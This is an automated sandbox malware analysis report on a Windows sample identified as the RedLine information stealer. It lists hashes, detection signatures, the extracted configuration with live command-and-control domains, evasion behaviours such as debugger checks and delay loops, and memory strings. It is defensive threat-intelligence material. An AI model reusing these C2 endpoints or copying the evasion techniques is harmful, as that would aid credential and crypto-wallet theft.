Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Analysis Report kMroyG6lXZ.exe

Overview

General Information

Sample Name:kMroyG6lXZ.exe
Analysis ID:399804
MD5:9ce4c8a45c002bb230764b42b9211086
SHA1:435e3955dfcfb36e60ab31bdd309bf72ab5de377
SHA256:a0faa82eeb65dec2d55e0041f18eb27652dafd93dc25e105927303e277cd8df6
Tags:exeRedLineStealer
Infos:

Most interesting Screenshot:

Detection

RedLine
Score:96
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Yara detected RedLine Stealer
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for sample
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Enables debug privileges
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • kMroyG6lXZ.exe (PID: 4944 cmdline: 'C:\Users\user\Desktop\kMroyG6lXZ.exe' MD5: 9CE4C8A45C002BB230764B42B9211086)
  • cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": "bumblebee2021.store:80|trusmileveneers.store:80|lazerprojekt.store:80", "Bot Id": "118"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
    00000000.00000003.224645228.0000000000724000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
      00000000.00000002.490498068.00000000023B0000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
        00000000.00000002.491643531.0000000003505000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
          00000000.00000002.490137711.0000000002170000.00000004.00000001.sdmpJoeSecurity_RedLineYara detected RedLine StealerJoe Security
            Click to see the 1 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.3.kMroyG6lXZ.exe.7242d0.1.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
              0.2.kMroyG6lXZ.exe.21ed976.5.raw.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                0.2.kMroyG6lXZ.exe.23b0000.6.raw.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                  0.2.kMroyG6lXZ.exe.21eca8e.4.raw.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                    0.2.kMroyG6lXZ.exe.3523550.9.raw.unpackJoeSecurity_RedLineYara detected RedLine StealerJoe Security
                      Click to see the 13 entries

                      Sigma Overview

                      No Sigma rule has matched

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Found malware configurationShow sources
                      Source: 0.3.kMroyG6lXZ.exe.7242d0.1.raw.unpackMalware Configuration Extractor: RedLine {"C2 url": "bumblebee2021.store:80|trusmileveneers.store:80|lazerprojekt.store:80", "Bot Id": "118"}
                      Multi AV Scanner detection for domain / URLShow sources
                      Source: bumblebee2021.storeVirustotal: Detection: 10%Perma Link
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: kMroyG6lXZ.exeVirustotal: Detection: 28%Perma Link
                      Source: kMroyG6lXZ.exeReversingLabs: Detection: 36%
                      Machine Learning detection for sampleShow sources
                      Source: kMroyG6lXZ.exeJoe Sandbox ML: detected

                      Compliance:

                      barindex
                      Detected unpacking (overwrites its own PE header)Show sources
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeUnpacked PE file: 0.2.kMroyG6lXZ.exe.400000.0.unpack
                      Source: kMroyG6lXZ.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                      Source: Binary string: _.pdb source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmp
                      Source: Binary string: System.ServiceModel.pdbH source: kMroyG6lXZ.exe, 00000000.00000002.489292260.0000000000777000.00000004.00000001.sdmp
                      Source: Binary string: System.ServiceModel.pdb source: kMroyG6lXZ.exe, 00000000.00000002.489292260.0000000000777000.00000004.00000001.sdmp
                      Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: kMroyG6lXZ.exe, 00000000.00000002.488981394.000000000070D000.00000004.00000001.sdmp
                      Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: kMroyG6lXZ.exe, 00000000.00000002.488981394.000000000070D000.00000004.00000001.sdmp
                      Source: unknownDNS traffic detected: query: bumblebee2021.store replaycode: Name error (3)
                      Source: unknownDNS traffic detected: queries for: bumblebee2021.store
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://bumblebee2021.store
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490778554.0000000002558000.00000004.00000001.sdmpString found in binary or memory: http://bumblebee2021.store(hr
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmp, kMroyG6lXZ.exe, 00000000.00000002.490752046.000000000254E000.00000004.00000001.sdmpString found in binary or memory: http://bumblebee2021.store//
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490752046.000000000254E000.00000004.00000001.sdmpString found in binary or memory: http://bumblebee2021.store4
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://bumblebee2021.store:80//
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmp, kMroyG6lXZ.exe, 00000000.00000002.490778554.0000000002558000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmp, kMroyG6lXZ.exe, 00000000.00000002.490778554.0000000002558000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/0
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490752046.000000000254E000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetArguments
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetArgumentsResponse
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyScanRequest
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyScanRequestResponse
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490688944.0000000002501000.00000004.00000001.sdmpString found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: https://api.ip.sb/geoipAppData
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: https://icanhazip.com5https://wtfismyip.com/textChttp://bot.whatismyipaddress.com/3http://checkip.dy
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpString found in binary or memory: https://ipinfo.io/ip%appdata%
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00408C600_2_00408C60
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0040DC110_2_0040DC11
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00407C3F0_2_00407C3F
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00418CCC0_2_00418CCC
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00406CA00_2_00406CA0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004028B00_2_004028B0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0041A4BE0_2_0041A4BE
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004182440_2_00418244
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004016500_2_00401650
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00402F200_2_00402F20
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004193C40_2_004193C4
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004187880_2_00418788
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00402F890_2_00402F89
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00402B900_2_00402B90
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004073A00_2_004073A0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004370400_2_00437040
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00437C300_2_00437C30
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00439D7C0_2_00439D7C
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0043792B0_2_0043792B
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004365D10_2_004365D1
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00436AFC0_2_00436AFC
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004376B00_2_004376B0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0043570B0_2_0043570B
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02082B000_2_02082B00
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020878560_2_02087856
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020818A00_2_020818A0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020831700_2_02083170
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020989D80_2_020989D8
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020831D90_2_020831D9
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0208DE610_2_0208DE61
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02087E8F0_2_02087E8F
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02088EB00_2_02088EB0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02086EF00_2_02086EF0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0209A70E0_2_0209A70E
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02098F1C0_2_02098F1C
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020877C20_2_020877C2
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_020984940_2_02098494
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_02082DE00_2_02082DE0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_022ADB280_2_022ADB28
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_022AF4D00_2_022AF4D0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_022ACDF00_2_022ACDF0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: String function: 0040E1D8 appears 44 times
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: String function: 0208E428 appears 44 times
                      Source: kMroyG6lXZ.exeStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
                      Source: kMroyG6lXZ.exeBinary or memory string: OriginalFilename vs kMroyG6lXZ.exe
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamePristane.exe4 vs kMroyG6lXZ.exe
                      Source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmpBinary or memory string: OriginalFilename_.dll4 vs kMroyG6lXZ.exe
                      Source: kMroyG6lXZ.exe, 00000000.00000002.495636457.00000000058F0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameKernelbase.dll.muij% vs kMroyG6lXZ.exe
                      Source: kMroyG6lXZ.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
                      Source: kMroyG6lXZ.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: classification engineClassification label: mal96.troj.spyw.evad.winEXE@1/0@103/1
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCommand line argument: 08A0_2_00413780
                      Source: kMroyG6lXZ.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dllJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: kMroyG6lXZ.exeVirustotal: Detection: 28%
                      Source: kMroyG6lXZ.exeReversingLabs: Detection: 36%
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32Jump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                      Source: Binary string: _.pdb source: kMroyG6lXZ.exe, 00000000.00000002.490258905.00000000021AC000.00000004.00000001.sdmp
                      Source: Binary string: System.ServiceModel.pdbH source: kMroyG6lXZ.exe, 00000000.00000002.489292260.0000000000777000.00000004.00000001.sdmp
                      Source: Binary string: System.ServiceModel.pdb source: kMroyG6lXZ.exe, 00000000.00000002.489292260.0000000000777000.00000004.00000001.sdmp
                      Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: kMroyG6lXZ.exe, 00000000.00000002.488981394.000000000070D000.00000004.00000001.sdmp
                      Source: Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: kMroyG6lXZ.exe, 00000000.00000002.488981394.000000000070D000.00000004.00000001.sdmp

                      Data Obfuscation:

                      barindex
                      Detected unpacking (changes PE section rights)Show sources
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeUnpacked PE file: 0.2.kMroyG6lXZ.exe.400000.0.unpack .text:ER;.data:W;.tls:W;.new:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
                      Detected unpacking (overwrites its own PE header)Show sources
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeUnpacked PE file: 0.2.kMroyG6lXZ.exe.400000.0.unpack
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: kMroyG6lXZ.exeStatic PE information: section name: .new
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0041C40C push cs; iretd 0_2_0041C4E2
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_00423149 push eax; ret 0_2_00423179
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0041C50E push cs; iretd 0_2_0041C4E2
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004231C8 push eax; ret 0_2_00423179
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0040E21D push ecx; ret 0_2_0040E230
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0041C6BE push ebx; ret 0_2_0041C6BF
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0209C10E push ebx; ret 0_2_0209C10F
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0209BE5C push cs; iretd 0_2_0209BF32
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0209BF5E push cs; iretd 0_2_0209BF32
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0208E46D push ecx; ret 0_2_0208E480
                      Source: initial sampleStatic PE information: section name: .text entropy: 7.72713604414
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exe TID: 5900Thread sleep count: 80 > 30Jump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exe TID: 5900Thread sleep time: -80000s >= -30000sJump to behavior
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeLast function: Thread delayed
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeLast function: Thread delayed
                      Source: kMroyG6lXZ.exe, 00000000.00000002.495636457.00000000058F0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
                      Source: kMroyG6lXZ.exe, 00000000.00000002.495636457.00000000058F0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
                      Source: kMroyG6lXZ.exe, 00000000.00000002.495636457.00000000058F0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
                      Source: kMroyG6lXZ.exe, 00000000.00000002.489327919.0000000000784000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: kMroyG6lXZ.exe, 00000000.00000002.495636457.00000000058F0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0040CE09
                      Source: C:\Users\user\Desktop\kMroyG6lXZ.exeCode function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,0_2_004019F0
